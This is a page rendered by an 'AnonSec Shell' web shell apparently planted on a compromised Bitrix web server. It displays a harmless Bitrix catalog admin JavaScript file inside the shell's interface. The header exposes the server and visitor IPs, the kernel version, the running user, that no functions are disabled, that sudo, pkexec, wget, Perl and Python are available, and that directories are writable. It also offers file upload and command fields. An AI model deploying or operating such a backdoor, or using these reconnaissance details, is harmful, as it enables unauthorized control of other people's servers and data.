AnonSec Shell
Server IP : 85.193.89.191  /  Your IP : 3.139.87.251
Web Server : Apache
System : Linux 956367-cx40159.tmweb.ru 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
User : bitrix ( 600)
PHP Version : 8.1.27
Disable Function : NONE
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/bitrix/www/bitrix/js/catalog/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/bitrix/www/bitrix/js/catalog/iblock_catalog.js
BX.namespace('BX.Catalog.Admin');
BX.Catalog.Admin.IblockCatalog = (function()
{
var classDescription = function(params)
{
	this.errorCode = 0;
	this.containerId = (typeof(params.containerId) !== 'undefined' && params.containerId ? params.containerId : '');
	if (!this.containerId)
		this.errorCode = -1;
	this.enableSaleRecurring = !(typeof(params.enableSaleRecurring) !== 'undefined' && params.enableSaleRecurring === false);
	this.isSku = (typeof(params.isSku) !== 'undefined' && params.isSku === true);
	this.rows = {
		subscription: null,
		yandexExport: null,
		vat: null,
		skuData: null
	};
	this.controls = {
		catalog: null,
		useSku: null,
		sku: null,
		subscription: null,
		yandexExport: null
	};

	if (this.errorCode === 0)
		BX.ready(BX.proxy(this.init, this));
};

classDescription.prototype.init = function()
{
	if (this.enableSaleRecurring)
		this.rows.subscription = BX('tr_SUBSCRIPTION');
	this.rows.yandexExport = BX('tr_YANDEX_EXPORT');
	this.rows.vat = BX('tr_VAT_ID');

	this.controls.catalog = BX('CATALOG_Y');
	if (!this.isSku)
	{
		this.controls.useSku = BX('USE_SKU_Y');
		this.rows.skuData = BX('sku_data');
	}
	if (this.enableSaleRecurring)
	{
		this.controls.subscription = BX('SUBSCRIPTION_Y');
	}
	this.controls.yandexExport = BX('YANDEX_EXPORT_Y');

	if (this.errorCode !== 0)
		return;

	BX.bindDelegate(BX(this.containerId), 'click', { 'attribute': 'data-checkbox' }, BX.proxy(this.clickHandler, this))
};

classDescription.prototype.clickHandler = function()
{
	var target = BX.proxy_context,
		displayMode;

	if (target.id === this.controls.catalog.id)
	{
		displayMode = (target.checked ? 'table-row' : 'none');
		if (this.enableSaleRecurring && this.rows.subscription)
		{
			BX.adjust(this.rows.subscription, {style: {display: displayMode}});
			if (!target.checked)
				this.controls.subscription.checked = false;
		}
		BX.adjust(this.rows.yandexExport, { style: { display: displayMode } });
		BX.adjust(this.rows.vat, { style: { display: displayMode } });
		if (!this.isSku && this.controls.useSku)
			this.controls.useSku.disabled = false;
		if (!target.checked)
			this.controls.yandexExport.checked = false;
	}
	else if (!this.isSku && target.id === this.controls.useSku.id && !this.controls.useSku.disabled)
	{
		displayMode = (target.checked ? 'block' : 'none');
		BX.adjust(this.rows.skuData, { style: { display: displayMode } });
		if (this.enableSaleRecurring && this.controls.subscription)
			this.controls.subscription.disabled = target.checked;
	}
	else if (this.enableSaleRecurring && target.id === this.controls.subscription.id && !this.controls.subscription.disabled)
	{
		if (!this.isSku && this.controls.useSku)
			this.controls.useSku.disabled = target.checked;
	}
};

classDescription.prototype.destroy = function()
{
	this.rows.subscription = null;
	this.rows.yandexExport = null;
	this.rows.vat = null;
	this.rows.skuData = null;

	this.controls.catalog = null;
	this.controls.useSku = null;
	this.controls.sku = null;
	this.controls.subscription = null;
	this.controls.yandexExport = null;
};

return classDescription;
})();

Anon7 - 2022
AnonSec Team